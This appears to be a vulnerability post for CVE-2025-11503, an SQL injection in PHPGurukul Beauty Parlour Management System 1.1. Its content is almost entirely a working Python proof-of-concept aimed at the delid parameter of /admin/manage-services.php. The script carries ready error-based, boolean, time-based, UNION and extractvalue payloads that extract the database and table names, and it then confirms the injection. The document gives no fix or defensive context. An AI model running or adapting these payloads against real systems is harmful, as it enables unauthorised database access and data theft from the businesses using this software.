CVE-2025-11503：PHPGurukul美容院管理系统SQL注入漏洞

# CVE-2025-11503 SQL Injection PoC # Target: PHPGurukul Beauty Parlour Management System 1.1 # Vulnerable file: /admin/manage-services.php # Vulnerable parameter: delid import requests TARGET_URL = "http://target.com" VULNERABLE_ENDPOINT = "/admin/manage-services.php" def exploit_sqli(target_url, delid_payload): """ Exploit SQL injection via the delid parameter in manage-services.php """ url = target_url.rstrip('/') + VULNERABLE_ENDPOINT params = { "delid": delid_payload } try: # Send malicious request response = requests.get(url, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return None # Example payloads payloads = { # Basic error-based detection "error_based": "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a)-- -", # Boolean-based blind injection "boolean_blind": "1' AND 1=1-- -", # Time-based blind injection "time_based": "1' AND SLEEP(5)-- -", # UNION-based injection (5 columns assumed) "union_based": "-1' UNION SELECT 1,2,3,4,5-- -", # Extract database name "extract_db": "1' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- -", # Extract table names "extract_tables": "1' AND extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))-- -", } if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Vulnerable endpoint: {VULNERABLE_ENDPOINT}") print(f"[*] Vulnerable parameter: delid") print() # Test with error-based payload print("[+] Testing error-based SQL injection...") response = exploit_sqli(TARGET_URL, payloads["error_based"]) if response and response.status_code == 200: if "error" in response.text.lower() or "sql" in response.text.lower(): print("[VULNERABLE] SQL injection confirmed!") print(f"[+] Response snippet: {response.text[:500]}") else: print("[-] Target may not be vulnerable or payload needs adjustment") # Test with time-based payload print("\n[+] Testing time-based SQL injection...") import time start_time = time.time() response = exploit_sqli(TARGET_URL, payloads["time_based"]) elapsed = time.time() - start_time if elapsed >= 5: print(f"[VULNERABLE] Time-based injection confirmed! Response time: {elapsed:.2f}s") else: print(f"[-] Response time: {elapsed:.2f}s (no delay detected)") # Test with UNION-based payload print("\n[+] Testing UNION-based SQL injection...") response = exploit_sqli(TARGET_URL, payloads["union_based"]) if response and response.status_code == 200: print(f"[+] Response length: {len(response.text)}") print(f"[+] Check response for injected data...")